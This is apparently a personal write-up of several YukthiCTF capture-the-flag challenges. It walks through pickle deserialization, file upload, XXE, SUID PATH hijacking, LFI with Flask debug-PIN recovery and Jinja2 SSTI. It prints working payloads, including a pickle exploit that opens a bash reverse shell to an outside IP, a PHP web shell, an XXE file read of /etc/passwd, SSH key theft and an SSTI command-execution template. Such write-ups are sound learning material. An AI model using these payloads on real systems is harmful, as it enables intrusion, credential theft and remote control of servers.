This post contains some writeups of the challenges i solved in YukthiCTF.
Pickle Portal
Mission 1
The challenge had two missions. From the looks of it, it’s obvious that it is a Pickle Deserialization attack.
The page just has two functions. One is to serialize and the other one is to deserialize whatever we give.
The serialize function will serialize and give you a base64 encoded str. Vice verse the deserialization func will deserialize the base64 input.
In the code we can see the PortalGun
class has exec
fucntion being returned with some redacted code.
1
2
3
4
# Secret portal gun object
class PortalGun:
def __reduce__(self):
return (exec, ("<missed source>",))
This is convenient for us, cuz we can serialize this Class with our custom input which will be exec’d.
The following code will get us the rev shell.
1
2
3
4
5
6
7
8
9
10
11
12
import pickle, base64
class PortalGun:
def __reduce__(self):
import subprocess
return (exec, ('''import os;os.popen("bash -c '/bin/bash -i >& /dev/tcp/10.11.1.200/5000 0>&1'").read()''',))
p = pickle.dumps(PortalGun())
dat = base64.b64encode(p).decode('ASCII')
print(dat)
Mission 2
On second mission we have a c source code:
We have a binary file called mem_destroyer
which is a suid binary.
From the source code, we know that the binary loads mortys_memory.mem
file but then sets the low priv user’s uid and calls the shell. But when in that shell we can get into the process directory of that process and see the filesd which are loaded by the process.
/proc/self/fd
will land us directly into the process’s file discriptor directory. We can see our file is mapped to descriptor 3. But when try reading, it doesn’t let us.
But there is a trick with wich we can use cat
and read the descriptor content.
Feeding the descriptor to cat
by redirecting it will give us the flag.
Backrooms
This challenge also has two missions.
Mission 1
For the initial mission, there will be an php endpoint in the page which has file upload funtionality. We can upload files, but there will by some restrictions, like we can’t upload files with .php
extensions. It can be easily bypassed if we use .php2
extension instead.
The php payload i used for this is:
1
<?php system($_GET['cmd']); ?>
After uploading we can directly execute our backdoor like below
Now we can get a reverse shell and read the first flag.
##Mission 2
For the second mission, we see there’s one python file which can executed as root using sudo.
Examining that file shows us that our input directly passes into eval
We just need to give it a markdown file which satisfies all those other constraints.
The following md file will satisfy all those contraints.
1
2
3
4
5
# backrooms
## Ticket to me: John Doe
__Ticket Code:__
**4+__import__('os').system('/bin/bash')**
Upon executing the script we get flag.
Fruity
Mission 1
The initial foothold in this challege is XXE. teh /order
endpoints get user input and send it to the server. But before sending everything it sends the data in base64 encoded xml format to /tracker
.
Also, the name param is reflected back in the response. So we can inject our xml entity inside the user tag to make the server reflect whatever we want.
Base64 encoding the xml like following and sending it to the server will get us the file we intend to read.
1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<userdata>
<name>&xxe;</name>
<mail>test</mail>
<subject>test</subject>
<comments>test</comments>
</userdata>
/etc/passwd
tells us there is a user called fruit. We can see if it has ssh key and grab it.
ssh private key, by default will be under
/home/$USER/.ssh/id_rsa
. In our case/home/fruit/.ssh/id_rsa
.
Now that we got the ssh key, we can directly ssh into the server and get the flag.
Mission 2
There is one binary file called log_reader
unser fruit directory. It is a suid binary which is owned by root, which means it can execute functions as root user.
Directly running the binary shows us some apache logs file. And running strings
against the binary give us an hint about what command it might be running on execution.
If the tail
is invoked with it’s absolute path (ie: /usr/bin/tail) it would’ve been not exploitable. But because it is suid bit, we can control the PATH variable and the process will have no other choice then using our PATH. We can create a shell script with /bin/bash
as its content and name it tail
. Placing it under fruit’s home directory and prepending the home dir path to the PATH environmental variable will fool the binary into looking for tail
binary in our Home directory first.
Executing the suid binary now, will get us the flag.
Operation Warehouse
Mission 1
Initially running Nmap on the ip will tell us there is port 7777 is open.
About US page at the bottom redirect us to the following page.
Looking closely at the URL hints us that the file name is given as parameter here. This screams LFI.
But traversing dirs gives us file not found err.
We know it is a python app by looking at the Server header in the response. So we can directly see if any app.py or run.py exist in the current folder first.
app.py itself provides us the file. And we have a filter there which sanitize our filename input.
The function just splits the input with ../
as it’s delimeter and appends the dot (.) inbetween them.
It is easy to bypass if you fiddle around it with a bit.
Now that we have our payload, we can read files.
It has a user as well, we can try to read the ssh key from the user. But there is none.
If we noticed before, the python server was running with debug=True
param.
Which means debug console is enabled. We can visit /console
and verify.
If the app is running with Debug enabled and we have file read, we can guess flask debug console pin all by ourselves.
All we would need is machine_id
which would be in /etc/machine-id
and Mac address of the interface which would be in /sys/class/net/ens33/address
.
But there seems to be no /sys/class/net/ens33/address
. This might be because there is no ens33 network interface.
We can list all the interface by grabbing /proc/net/arp
.
There itself we can get the MAC addr (But for some reasons it didn’t work). We can now use the interface name to get the actual mac address.
Now we need to convert mac into decimal. You can use python or online sites to do that.
1
2
3
>>> print(0x02420a0b0426)
2482659591206
>>>
Now we can grab the machine-id
Ruuning the code gives us the PIN for the console and we can login.
We can execute any python code here. So from here you can get a shell using your personal reverse-shell choice.
Mission 2
After looking thorugh some stuff, i ran LinEnum, which is one of the auto linux enum scripts like . And it identified an extra capablity set to python.
GTFOBins has a proof of concept which can be used to escalate this misconfigured capablity.
Digital Elysium
The challenge description itself tells us that it is ssti.
Initially it just seems like a static site. The source doesn’t have anything intresting as well.
We can try usual parameters like id
,cmd
, name
and a lot more. But name
param itself worked.
We can also try to brute force the param name by using tools like
ffuf
orwfuzz
And ssti payload also works in this param.
We can use the following template to get direct code execution. Refer here for more payload.
1
2
3
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
The description told the flag would be in the folder where the password file is.
They are mentioning the passwd
which resides in /etc
folder. So the flag is in /etc/
. We can get the flag from there.